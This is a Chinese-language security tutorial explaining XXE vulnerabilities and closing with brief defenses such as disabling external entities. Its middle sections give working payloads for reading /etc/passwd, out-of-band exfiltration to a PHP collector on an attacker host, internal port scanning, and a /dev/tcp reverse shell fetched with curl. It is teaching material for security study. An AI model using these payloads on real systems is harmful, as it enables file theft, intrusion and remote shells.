实战讲解XXE漏洞的利用与防御策略
现在许多不同的客户端技术都可以使用XMl向业务应用程序发送消息,为了使应用程序使用自定义的XML消息,应用程序必须先去解析XML文档,并且检查XML格式是否正确。当解析器允许XML外部实体解析时,就会造成XXE漏洞,导致服务器被攻击。本期“安仔课堂”,ISEC实验室的李老师为我们详细解析XXE漏洞的利用和防御。
一、XML基础知识
XML是用于标记电子文件并使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。
内部声明DTD:<!DOCTYPE 根元素 [元素声明]>;
引用外部DTD:<!DOCTYPE 根元素 SYSTEM "文件名">或者<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">;
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
内部声明实体:<!ENTITY 实体名称 "实体的值">;
引用外部实体:<!ENTITY 实体名称 SYSTEM "URI">。
二、XML外部实体
使用XML主要是为了使两个采用不同技术的系统可以通过XML进行通信和交换数据。而有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的“实体”能够访问本地或远程的内容。比如,下面的XML文档样例就包含了XML“实体”:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "file://etc/passwd" >]>
<root>
<name>&XXE;</name>
</root>
在上面的代码中,XML外部实体“XXE”被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体“XXE”的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。关键字“SYSTEM”会告诉XML解析器,“XXE”实体的值将从其后的URI中读取。
三、XML外部实体攻击
当XML允许引用外部实体,关键字“SYSTEM”会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。
简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。而不同的XML解析器,对外部实体有不同的处理规则。
在PHP中默认处理的函数为xml_parse和simplexml_load,xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁。除PHP外,在Java、Python等处理XML的组件及函数中,都可能存在此问题。
如何判断是否存在XML外部实体攻击?那就是寻找那些接受XML作为输入内容的端点,而有些端点可能并不是那么明显,比如一些仅使用JSON去访问服务的客户端,可以通过修改HTTP的请求或修改Content-Type头部字段等方法,然后看应用程序的响应,看程序是否解析了发送的内容,如果解析了,那么就可能存在XXE攻击漏洞。
四、XXE漏洞测试
借助XXE,攻击者可以实现任意文件读取,DDOS拒绝服务攻击以及代理扫描内网等。
1.任意文件读取漏洞测试
当有回显时,直接利用payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "file://etc/passwd" >]>
<root>
<name>&XXE;</name>
</root>
可以进行任意文件读取文件:
图1
当无回显时,引用远程服务器上的XML文件读取文件:
将以下get.php,1.xml保存到自己的WEB服务器下
get.php:
<?php
$xml=$_GET['xml'];
$base=base64_decode($xml);
file_put_contents('data.txt', $base);
?>
1.xml:
<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.55.129/get.php?xml=%payload;'>">
%int;
%trick;
直接发送payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.55.129/1.xml">
%remote;]>
<root/>
就能读取任意文件并把数据保存到本地的data.txt文件里:
图2
2.探测内网端口和网站
有回显时,直接发送payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&XXE;</name>
</root>
端口存在时会返回页面报错信息:
图3
端口不存在时,返回无法连接的报错信息:
图4
无回显时,修改1.xml文件,把file协议修改为需要扫描的IP:
<!ENTITY % payloadSYSTEM "php://filter/read=convert.base64-encode/resource=http://192.168.55.129">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.55.129/get.php?xml=%payload;'>">
%int;
%trick;
直接发送payload:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.55.129/1.xml">
%remote;]>
<root/>
当端口存在web页面,也可获得内网网站的的页面源代码:
图5
3.攻击内网网站
若内网网站存在命令执行漏洞时:
将以下bash.txt保存至自己的WEB服务器下:
bash.txt:
bash -i >& /dev/tcp/192.168.55.129/8877 0>&1
发送以下payload获取bash.txt文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=curl%20-o%20/tmp/1.txt%20192.168.55.129/bash.txt" >]>
<root>
<name>&XXE;</name>
</root>
图6
在本机监听一个端口:
图7
发送一下payload,获得反弹shellcode命令:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=/bin/bash%20/tmp/1.txt" >]>
<root>
<name>&XXE;</name>
</root>
图8
4.执行系统命令
若安装expect扩展的PHP环境里还可以直接执行系统命令,其他协议也有可能可以执行系统命令。
直接执行payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "expect://id" >]>
<root>
<name>&XXE;</name>
</root>
五、防御XXE攻击
防御XXE攻击主要有三方面:一是检查所使用的底层XML解析库,默认禁止外部实体的解析;二是若使用第三方应用代码需要及时升级补丁;三是对用户提交的XML数据进行过滤,如关键词:<!DOCTYPE和<!ENTITY或者SYSTEM和PUBLIC等。
实战讲解XXE漏洞的利用与防御策略的更多相关文章
- 听补天漏洞审核专家实战讲解XXE漏洞
对于将“挖洞”作为施展自身才干.展现自身价值方式的白 帽 子来说,听漏洞审核专家讲如何挖掘并验证漏洞,绝对不失为一种快速的成长方式! XXE Injection(XML External Entity ...
- Rsync未授权访问漏洞的利用和防御
首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...
- 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用
浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...
- ref:浅谈XXE漏洞攻击与防御
ref:https://thief.one/2017/06/20/1/ 浅谈XXE漏洞攻击与防御 发表于 2017-06-20 | 分类于 web安全 | 热度 3189 ℃ 你会挽着我 ...
- 1.浅谈XXE漏洞攻击与防御
XML基础 在介绍XXE漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具. XML是一种用于标记电子文 ...
- XXE漏洞学习
0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...
- 初识XXE漏洞
本文是参照本人觉得特别仔细又好懂的一位大佬的文章所做的学习笔记 大佬的链接:https://www.cnblogs.com/zhaijiahui/p/9147595.html#autoid-0-0-0 ...
- XXE漏洞原理及利用
0x01概述 XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞.XXE扩大了攻击面. 当允许引用外部实体时,就可能导致任意文件读取.系统命令执行.内网 ...
- XXE漏洞攻击与防御
转自https://www.jianshu.com/p/7325b2ef8fc9 0x01 XML基础 在聊XXE之前,先说说相关的XML知识吧. 定义 XML用于标记电子文件使其具有结构性的标记语言 ...
随机推荐
- 【Android】Context的使用
Android开发经常需要使用Context来启动Activity,或者打开SharedPreferences,或者构建一个Dialog.最近老是用到getContext(),getApplicati ...
- MySQL 部署分布式架构 MyCAT (一)
架构 环境 主机名 IP db1 192.168.31.205 db2 192.168.31.206 前期准备 开启防火墙,安装配置 mysql (db1,db2) firewall-cmd --pe ...
- Linux—运行yum报错:No module named yum
产生原因:yum基于python写的,根据报错信息提示,是yum的python版本对应不上目前python环境的版本导致的.也就是说 有人升级或者卸载了python. 解决方式: # 查看yum版本 ...
- Web服务器—Apache
Apache配置文件:httpd.conf文件 # 指定Apache的安装路径,此选项参数值在安装Apache时系统会自动把Apache的路径写入. ServerRoot "/www/ser ...
- 2019CCPC网络选拔赛 hdu6703 array(主席树+set)
题意 给你一个1~n的排列,由两种操作: 1 pos:将a[pos]+10 000 000 2 r k:求大于等于k且不等于a[1~r]的数的最小值. 强制在线. 思路 如果没有1操作,那么我们直接主 ...
- win10安装配置mongodb
1. 下载MongoDB并安装官网下载地址:https://blog.csdn.net/qq_41127332/article/details/80755595 ,选择合适的版本进行下载.我选择是3. ...
- 【CSP-S 2019】D2T2 划分
Description 传送门 Solution 算法1 12pts 指数算法随便乱搞. 算法2 36pts \(O(n^3)\)dp. 设\(f_{i,j}\)表示以位置\(j\)结尾,上一个决策点 ...
- 日常学习python
一.条件语句 Python条件语句是通过一条或多条语句的执行结果(True或者False)来决定执行的代码块. 可以通过下图来简单了解条件语句的执行过程: Python程序语言指定任何非0和非空(nu ...
- php 学习笔记之关于时区的那点事
科普一下什么是时区 众所周知,地球绕着太阳转的同时也会自转,因此同一时刻不同地区所接收到太阳照射的情况不同,所以有的地区是日出,有的地区是日落,还有的地区可能是黑夜. 既然地球上的不同地区时间不同,那 ...
- 群体遗传之ped格式
1.PED简介 PED文件格式是广泛使用的用于连锁系谱数据分析的格式,并用作plink程序的输入.PLINK是一个免费的,开源的全基因组关联分析工集,旨在以高计算效率的方式执行一系列基本的,大规模的分 ...